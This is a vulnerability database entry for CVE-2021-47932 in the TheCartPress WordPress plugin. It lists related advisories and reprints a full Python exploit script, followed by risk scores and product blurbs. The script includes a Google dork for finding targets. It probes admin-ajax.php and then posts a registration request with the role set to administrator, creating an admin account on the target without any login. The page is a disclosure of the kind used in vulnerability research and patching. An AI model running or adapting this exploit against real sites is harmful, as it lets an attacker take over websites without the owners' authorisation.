Wordpress Plugin TheCartPress 1.5.3.6 - Unauthenticated Privilege Escalation
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2021-47932 | 10 May 202612:43 | – | attackerkb | |
| CVE-2021-47932 | 10 May 202616:32 | – | circl | |
| WordPress plugin TheCartPress has a security vulnerability | 10 May 202600:00 | – | cnnvd | |
| CVE-2021-47932 | 10 May 202612:43 | – | cve | |
| CVE-2021-47932 WordPress TheCartPress 1.5.3.6 Privilege Escalation Unauthenticated | 10 May 202612:43 | – | cvelist | |
| EUVD-2021-34794 | 10 May 202615:31 | – | euvd | |
| CVE-2021-47932 | 10 May 202613:16 | – | nvd | |
| WordPress TheCartPress eCommerce Shopping Cart plugin <= 1.5.3.6 - Unauthenticated Privilege Escalation vulnerability | 30 Jul 202612:07 | – | patchstack | |
| PT-2026-39508 | 10 May 202600:00 | – | ptsecurity | |
| CVE-2021-47932: Missing Authorization | 10 May 202600:00 | – | rapid7 |
10
# Exploit Title: Wordpress Plugin TheCartPress 1.5.3.6 - Privilege Escalation (Unauthenticated)
# Google Dork: inurl:/wp-content/plugins/thecartpress/
# Date: 04/10/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugin/thecartpress
# Version: <= 1.5.3.6
# Tested on: Ubuntu 20.04.1
import os.path
from os import path
import json
import requests;
import sys
def print_banner():
print("TheCartPress <= 1.5.3.6 - Unauthenticated Privilege Escalation")
print("Author -> space_hen (www.github.com/spacehen)")
def print_usage():
print("Usage: python3 exploit.py [target url]")
print("Ex: python3 exploit.py https://example.com")
def vuln_check(uri):
response = requests.get(uri)
raw = response.text
if ("User name is required" in raw):
return True;
else:
return False;
def main():
print_banner()
if(len(sys.argv) != 2):
print_usage();
sys.exit(1);
base = sys.argv[1]
ajax_action = 'tcp_register_and_login_ajax'
admin = '/wp-admin/admin-ajax.php';
uri = base + admin + '?action=' + ajax_action ;
check = vuln_check(uri);
if(check == False):
print("(*) Target not vulnerable!");
sys.exit(1)
data = {
"tcp_new_user_name" : "admin_02",
"tcp_new_user_pass" : "admin1234",
"tcp_repeat_user_pass" : "admin1234",
"tcp_new_user_email" : "[email protected]",
"tcp_role" : "administrator"
}
print("Inserting admin...");
response = requests.post(uri, data=data )
if (response.text == "\"\""):
print("Success!")
print("Now login at /wp-admin/")
else:
print(response.text)
main();Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 49.3
CVSS 3.19.8
EPSS0.01343
SSVC